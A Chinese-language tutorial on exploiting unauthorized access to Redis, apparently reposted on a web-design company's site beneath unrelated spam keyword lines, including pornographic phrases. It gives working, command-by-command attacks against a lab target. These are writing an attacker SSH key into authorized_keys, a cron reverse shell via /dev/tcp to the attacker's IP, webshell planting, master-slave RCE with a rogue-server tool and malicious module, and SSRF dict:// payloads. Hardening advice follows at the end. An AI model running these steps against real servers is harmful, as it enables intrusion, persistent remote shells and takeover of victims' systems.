真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

Redis漏洞有哪些

這篇文章主要為大家展示了“redis漏洞有哪些”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“Redis漏洞有哪些”這篇文章吧。

創(chuàng)新互聯(lián)公司專注于企業(yè)網(wǎng)絡(luò)營銷推廣、網(wǎng)站重做改版、安多網(wǎng)站定制設(shè)計、自適應(yīng)品牌網(wǎng)站建設(shè)、H5頁面制作、商城網(wǎng)站建設(shè)、集團(tuán)公司官網(wǎng)建設(shè)、外貿(mào)網(wǎng)站建設(shè)、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁設(shè)計等建站業(yè)務(wù),價格優(yōu)惠性價比高,為安多等各大城市提供網(wǎng)站開發(fā)制作服務(wù)。

Redis簡介

redis是一個key-value存儲系統(tǒng)。和Memcached類似,它支持存儲的value類型相對更多,包括string、list、set、zset和hash。這些數(shù)據(jù)類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎(chǔ)上,redis支持各種不同方式的排序。與memcached一樣,為了證效率,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是redis會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎(chǔ)上實(shí)現(xiàn)了master-slave(主從)同步。

Redis常用命令:

set xz "Hacker"                     # 設(shè)置鍵xz的值為字符串Hacker
      get xz                              # 獲取鍵xz的內(nèi)容
      SET score 857                       # 設(shè)置鍵score的值為857
      INCR score                          # 使用INCR命令將score的值增加1
      GET score                           # 獲取鍵score的內(nèi)容
      keys *                              # 列出當(dāng)前數(shù)據(jù)庫中所有的鍵
      config set protected-mode no        # 關(guān)閉安全模式
      get anotherkey                      # 獲取一個不存在的鍵的值
      config set dir /root/redis          # 設(shè)置保存目錄
      config set dbfilename redis.rdb     # 設(shè)置保存文件名
      config get dir                      # 查看保存目錄
      config get dbfilename               # 查看保存文件名
      save                                # 進(jìn)行一次備份操作
      flushall                            # 刪除所有數(shù)據(jù)
      del key                             # 刪除鍵為key的數(shù)據(jù)
      slaveof ip port                 # 設(shè)置主從關(guān)系
      redis-cli -h ip -p 6379 -a passwd   # 外部連接

Redis基本操作

1.使用SET和GET命令,可以完成基本的賦值和取值操作;
2.Redis是不區(qū)分命令的大小寫的,set和SET是同一個意思;
3.使用keys *可以列出當(dāng)前數(shù)據(jù)庫中的所有鍵;
4.當(dāng)嘗試獲取一個不存在的鍵的值時,Redis會返回空,即(nil);
5.如果鍵的值中有空格,需要使用雙引號括起來,如"Hello World";

Redis配置文件參數(shù):

port參數(shù)

格式為port后面接端口號,如port 6379,表示Redis服務(wù)器將在6379端口上進(jìn)行監(jiān)聽來等待客戶端的連接。

bind參數(shù)

格式為bind后面接IP地址,可以同時綁定在多個IP地址上,IP地址之間用空格分離,如bind 192.168.1.100 10.0.0.1,表允許192.168.1.100和10.0.0.1兩個IP連接。如果設(shè)置為0.0.0.0則表示任意ip都可連接,說白了就是白名單。

save參數(shù)

格式為save <秒數(shù)> <變化數(shù)>,表示在指定的秒數(shù)內(nèi)數(shù)據(jù)庫存在指定的改變數(shù)時自動進(jìn)行備份(Redis是內(nèi)存數(shù)據(jù)庫,這里的備份就是指把內(nèi)存中的數(shù)據(jù)備份到磁盤上)。可以同時指定多個save參數(shù),如:
save 900 1
save 300 10
save 60 10000
表示如果數(shù)據(jù)庫的內(nèi)容在60秒后產(chǎn)生了10000次改變,或者300秒后產(chǎn)生了10次改變,或者900秒后產(chǎn)生了1次改變,那么立即進(jìn)行備份操作。

requirepass參數(shù)

格式為requirepass后接指定的密碼,用于指定客戶端在連接Redis服務(wù)器時所使用的密碼。Redis默認(rèn)的密碼參數(shù)是空的,說明不需要密碼即可連接;同時,配置文件有一條注釋了的requirepass foobared命令,如果去掉注釋,表示需要使用foobared密碼才能連接Redis數(shù)據(jù)庫。

dir參數(shù)

格式為dir后接指定的路徑,默認(rèn)為dir ./,指明Redis的工作目錄為當(dāng)前目錄,即redis-server文件所在的目錄。注意,Redis產(chǎn)生的備份文件將放在這個目錄下。

dbfilename參數(shù)

格式為dbfilename后接指定的文件名稱,用于指定Redis備份文件的名字,默認(rèn)為dbfilename dump.rdb,即備份文件的名字為dump.rdb。

config命令

通過config命令可以讀取和設(shè)置dir參數(shù)以及dbfilename參數(shù),因?yàn)檫@條命令比較危險(實(shí)驗(yàn)將進(jìn)行詳細(xì)介紹),所以Redis在配置文件中提供了rename-command參數(shù)來對其進(jìn)行重命名操作,如rename-command CONFIG HTCMD,可以將CONFIG命令重命名為HTCMD。配置文件默認(rèn)是沒有對CONFIG命令進(jìn)行重命名操作的。

protected-mode參數(shù)

redis3.2之后添加了protected-mode安全模式,默認(rèn)值為yes,開啟后禁止外部連接,所以在測試時,先在配置中修改為no。

測試環(huán)境

攻擊機(jī)Kali(192.168.33.131)
目標(biāo)機(jī)Ubantu 16(192.168.33.133)

漏洞利用

利用原理:

Redis 提供了2種不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的時間間隔內(nèi)生成數(shù)據(jù)集的時間點(diǎn)快照

  • AOF 持久化記錄服務(wù)器執(zhí)行的所有寫操作命令.

經(jīng)過查看官網(wǎng)文檔發(fā)現(xiàn)AOF方式備份數(shù)據(jù)庫的文件名默認(rèn)為appendonly.aof,可以在配置文件中通過appendfilename設(shè)置其他名稱,通過測試發(fā)現(xiàn)不能在客戶端交互中動態(tài)設(shè)置appendfilename,所以不能通過AOF方式備份寫任意文件.

  • RDB方式備份數(shù)據(jù)庫的文件名默認(rèn)為dump.rdb,此文件名可以通過客戶端交互動態(tài)設(shè)置dbfilename來更改,造成可以寫任意文件.

環(huán)境搭建:

靶機(jī):unbantu 16

為快速復(fù)現(xiàn),默認(rèn)apt-get安裝
先進(jìn)行更新
sudo apt-get upgrade
安裝
sudo apt-get install redis-server
默認(rèn)安裝到 /usr/bin/redis-server
直接啟動服務(wù)就可以執(zhí)行redis-server或者redis-server+(配置文件目錄)
注意要將配置文件中的bind參數(shù)改為0.0.0.0或者注釋掉,并且修改protected-mode為no允許外連。
還需要關(guān)閉防火墻,具體命令:sudo ufw disable  查看防火墻狀態(tài):sudo ufw status

安裝之后開啟redis服務(wù)準(zhǔn)備復(fù)現(xiàn)

Redis漏洞有哪些

利用方式

1、寫 ssh-keygen 公鑰登錄服務(wù)器

原理:

SSH提供兩種登錄驗(yàn)證方式,一種是口令驗(yàn)證也就是賬號密碼登錄,另一種是密鑰驗(yàn)證。

所謂密鑰驗(yàn)證,其實(shí)就是一種基于公鑰密碼的認(rèn)證,使用公鑰加密、私鑰解密,其中公鑰是可以公開的,放在服務(wù)器端,你可以把同一個公鑰放在所有你想SSH遠(yuǎn)程登錄的服務(wù)器中,而私鑰是保密的只有你自己知道,公鑰加密的消息只有私鑰才能解密,大體過程如下:

(1)客戶端生成私鑰和公鑰,并把公鑰拷貝給服務(wù)器端; (2)客戶端發(fā)起登錄請求,發(fā)送自己的相關(guān)信息; (3)服務(wù)器端根據(jù)客戶端發(fā)來的信息查找是否存有該客戶端的公鑰,若沒有拒絕登錄,若有則生成一段隨機(jī)數(shù)使用該公鑰加密后發(fā)送給客戶端; (4)客戶端收到服務(wù)器發(fā)來的加密后的消息后使用私鑰解密,并把解密后的結(jié)果發(fā)給服務(wù)器用于驗(yàn)證; (5)服務(wù)器收到客戶端發(fā)來的解密結(jié)果,與自己剛才生成的隨機(jī)數(shù)比對,若一樣則允許登錄,不一樣則拒絕登錄。

條件:

1、Redis服務(wù)使用ROOT賬號啟動

2、服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個公鑰,直接登錄遠(yuǎn)程服務(wù)器。

詳細(xì)步驟:

在攻擊機(jī)本地生成公鑰文件:

需要為我們的公鑰文件設(shè)置一個私鑰

公鑰文件默認(rèn)路徑:/root/.ssh/id_rsa.pub

Redis漏洞有哪些

具體命令:

ssh-keygen -t rsa
cd /root/.ssh
ls
cat id_rsa.pub

然后通過未授權(quán)訪問目標(biāo)機(jī)

Redis漏洞有哪些

具體命令

redis-cli -h 192.168.33.134        #連接目標(biāo)主機(jī)redis
config get dir                  #檢查當(dāng)前保存路徑
config get dbfilename              #檢查保存文件名
config set dir /root/.ssh/         #設(shè)置保存路徑
config set dbfilename authorized_keys #設(shè)置保存文件名
set xz "\n\n\n 公鑰 \n\n\n"         #將公鑰寫入xz健
save                         #進(jìn)行保存

利用公鑰進(jìn)行SSH登錄攻擊機(jī),第一次需要輸入yes

Redis漏洞有哪些

2、利用計劃任務(wù)反彈shell

原理:

我們都知道crontab是做計劃任務(wù)的,啟動的任務(wù)存放在/var/spool/cron中,root可以修改計劃任務(wù),可以將執(zhí)行命令反彈shell直接寫入計劃任務(wù)中

條件:

root啟用Redis

redis無密碼或者弱密碼

詳細(xì)步驟:

先在攻擊機(jī)使用nc監(jiān)聽8888端口nc lvp 8888

Redis漏洞有哪些

然后去操作Redis,具體命令:

redis-cli -h 192.168.33.134            #連接redis
flushall                           #清除所有鍵值
config set dir /var/spool/cron/crontabs/  #設(shè)置保存路徑  
config set dbfilename shell               #保存名稱
set xz "\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n"     #將反彈shell寫入xz鍵值
save                             #寫入保存路徑的shell文件

Redis漏洞有哪些

Redis漏洞有哪些

看到監(jiān)聽的命令行窗口已經(jīng)有彈回來的shell了(這里有很多的坑,ubantu寫入會出現(xiàn)亂碼和不回彈的情況,反彈shell測試最好還是用centos測試吧)

ubantu的坑參考這個文章https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/

3、Redis直接寫webshell

條件:

知道網(wǎng)站絕對路徑,并且需要增刪改查權(quán)限

root啟動redis

redis弱密碼或者無密碼

補(bǔ)充:若不知道物理路徑,可嘗試尋找網(wǎng)站的應(yīng)用程序錯誤或者常見絕對路徑去嘗試。

詳細(xì)步驟:

redis-cli -h 192.168.3.134     #連接Redis
config set dir /www/admin/localhost_80/wwwroot    #設(shè)置要寫入shell的路徑
set xxx "\n\n\n\n\n\n"         #寫入phpinfo()到xxx鍵
config set dbfilename phpinfo.php 
save

Redis漏洞有哪些

成功寫入

Redis漏洞有哪些

4、Redis主從復(fù)制getshell

原理:

Redis如果當(dāng)把數(shù)據(jù)存儲在單個Redis的實(shí)例中,當(dāng)讀寫體量比較大的時候,服務(wù)端就很難承受。為了應(yīng)對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實(shí)例作為主機(jī),其他實(shí)例都作為備份機(jī),其中主機(jī)和從機(jī)數(shù)據(jù)相同,而從機(jī)只負(fù)責(zé)讀,主機(jī)只負(fù)責(zé)寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

在兩個Redis實(shí)例設(shè)置主從模式的時候,Redis的主機(jī)實(shí)例可以通過FULLRESYNC同步文件到從機(jī)上,然后在從機(jī)上加載so文件,我們就可以執(zhí)行拓展的新命令了。

條件:

Redis 版本(4.x~5.0.5)(新增模塊功能,可以通過C語言并編譯出惡意.so文件)

redis弱密碼或者無密碼

root啟動redis

詳細(xì)步驟:

模擬主從關(guān)系,具體命令

root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK
192.168.33.134:6379> get xz
(nil)
192.168.33.134:6379> exit
root@kali:~/桌面# redis-cli
127.0.0.1:6379> get xz
(nil)
127.0.0.1:6379> set xz xz
OK
127.0.0.1:6379> exit
root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> get xz
"xz"
192.168.33.134:6379>

Redis漏洞有哪些

設(shè)置主從關(guān)系

root@kali:~/桌面# redis-cli -h 192.168.33.134
192.168.33.134:6379> slaveof 192.168.33.131 6379
OK

然后在kali下載利用工具h(yuǎn)ttps://github.com/n0b0dyCN/redis-rogue-server

下載之后cd進(jìn)入RedisModulesSDK目錄使用make編譯,當(dāng)然不想編譯也可以用作者給出的默認(rèn)exp.so也是可以的。

有兩種使用方法

一種是交互式shell,另一種是反彈shell

交互shell演示:

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根據(jù)提示輸入i進(jìn)入交互shell

Redis漏洞有哪些

反彈shell

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根據(jù)提示輸入r,接著輸入ip和端口進(jìn)行反彈

Redis漏洞有哪些

ps:redis主從RCE打多了會出現(xiàn)redis癱瘓的情況,所以不到萬不得已,盡量不要打主從

5、結(jié)合SSRF進(jìn)行利用

原理:

SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng),這里通過SSRF使用dict協(xié)議訪問本地Redis

條件:

root啟用redis

目標(biāo)機(jī)存在dict協(xié)議

知道網(wǎng)站絕對路徑

redis無密碼或者弱密碼

詳細(xì)步驟:

使用pikachu的靶場,這里采用dict協(xié)議,目標(biāo)機(jī)需要先安裝dict協(xié)議

這里直接寫入<>會被實(shí)體編碼,?直接被截斷,暫時沒找到解決辦法 
dict://192.168.33.134:6379/set:xz: dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
dict://192.168.33.134:6379/save        

直接寫入失敗,所以可以采用主從復(fù)制寫入 
dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot
dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php
先設(shè)置好保存的路徑和保存的文件名
然后登入kali進(jìn)行主從復(fù)制操作,方法和上面的一樣
127.0.0.1:6379> set xxx "\n\n\n\n\n\n"
再去web端執(zhí)行save操作
dict://192.168.33.134:6379/save
這樣數(shù)據(jù)直接回同步到目標(biāo)機(jī)

寫入失敗截圖:

Redis漏洞有哪些成功寫入截圖:

Redis漏洞有哪些

Redis漏洞有哪些

6、redis寫lua

redis2.6之前內(nèi)置了lua腳本環(huán)境在redis未授權(quán)的情況下可以利用lua執(zhí)行系統(tǒng)命令,這里沒有深入研究,感興趣可以看這篇文章:https://wooyun.x10sec.org/static/drops/papers-3062.html

批量檢測未授權(quán)redis腳本

https://github.com/Ridter/hackredis

redis未授權(quán)漏洞應(yīng)急響應(yīng)案例:

redis未授權(quán)訪問致遠(yuǎn)程植入挖礦腳本(防御篇)

https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w

利用拓展:

Windows下如何getshell?

寫入webshell,需要知道web路徑
寫入啟動項(xiàng),需要目標(biāo)服務(wù)器重啟
寫入MOF,MOF每隔5秒鐘會自動執(zhí)行一次,適用于Windows2003。

修復(fù)方案:

1、禁止一些高危命令(重啟redis才能生效)

  • 修改 redis.conf 文件,禁用遠(yuǎn)程修改 DB 文件地址

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""
  • 或者通過修改redis.conf文件,改變這些高危命令的名稱

rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3"

2、以低權(quán)限運(yùn)行 Redis 服務(wù)(重啟redis才能生效)

為 Redis 服務(wù)創(chuàng)建單獨(dú)的用戶和家目錄,并且配置禁止登陸

groupadd -r redis && useradd -r -g redis redis

3、為 Redis 添加密碼驗(yàn)證(重啟redis才能生效)

修改 redis.conf 文件,添加

requirepass mypassword
(注意redis不要用-a參數(shù),明文輸入密碼,連接后使用auth認(rèn)證)

4、禁止外網(wǎng)訪問 Redis(重啟redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服務(wù)只在當(dāng)前主機(jī)可用

bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯。

5、修改默認(rèn)端口

修改配置文件redis.conf文件

Port 6379

默認(rèn)端口是6379,可以改變成其他端口(不要沖突就好)

6、保證 authorized_keys 文件的安全

為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。

  • 將 authorized_keys 的權(quán)限設(shè)置為對擁有者只讀,其他用戶沒有任何權(quán)限:

chmod 400 ~/.ssh/authorized_keys
  • 為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:

chattr +i ~/.ssh/authorized_keys
  • 然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置 ~./ssh 的 immutable 權(quán)限:

chattr +i ~/.ssh

7、設(shè)置防火墻策略

如果正常業(yè)務(wù)中Redis服務(wù)需要被其他服務(wù)器來訪問,可以設(shè)置iptables策略僅允許指定的IP來訪問Redis服務(wù)。

以上是“Redis漏洞有哪些”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!


分享題目:Redis漏洞有哪些
文章地址:http://weahome.cn/article/posgip.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部